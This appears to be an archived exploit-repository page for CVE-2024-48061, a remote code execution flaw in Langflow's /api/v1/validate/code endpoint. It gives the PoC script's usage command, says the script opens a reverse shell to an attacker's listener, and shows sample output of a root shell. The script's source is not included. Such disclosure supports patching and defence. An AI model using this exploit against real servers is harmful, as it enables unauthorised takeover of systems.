Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-48061 PoC — Langflow 安全漏洞

Source
Associated Vulnerability
Title:Langflow 安全漏洞 (CVE-2024-48061)
Description:Langflow是Langflow开源的一个用于构建多代理和 RAG 应用程序的可视化框架。 Langflow 1.0.18版本存在安全漏洞,该漏洞源于包含一个远程代码执行问题。
Description
CVE-2024-48061 Langflow vulnerable to remote code execution. Poc
Readme
# CVE-2024-48061 Langflow vulnerable to remote code execution
## CVE-2024-48061 poc

## Usage
```shell
python3 poc.py -i <web_ip> -p <web_port> -l <listener_ip> -lp <listener_port>
```

## Description
This script exploits a vulnerable API endpoint at `/api/v1/validate/code` on the target web server.
It first verifies the presence of the vulnerable path, then starts a TCP listener on the specified
listener IP and port. Once the listener is ready, it sends a specially crafted payload to the target
to spawn a reverse shell connecting back to the listener.

## Example
- Successful attempt
```
python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[+] Vulnerability detected at http://192.168.0.2:7860/api/v1/validate/code
[+] Listening on 192.168.0.3:4444 ...
[+] Sending payload to http://192.168.0.2:7860/api/v1/validate/code
[+] Connection from 192.168.0.2:60440
# whoami
whoami
root
# exit
[*] Exiting shell.
```
- Un-Successful attempt
```
python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[-] Doesn't look vulnerable
```
File Snapshot

[4.0K] /data/pocs/eddcfaf0cc83d0a2a75aadc28e23b0d0fdb7d654 ├── [3.1K] poc.py └── [1.0K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.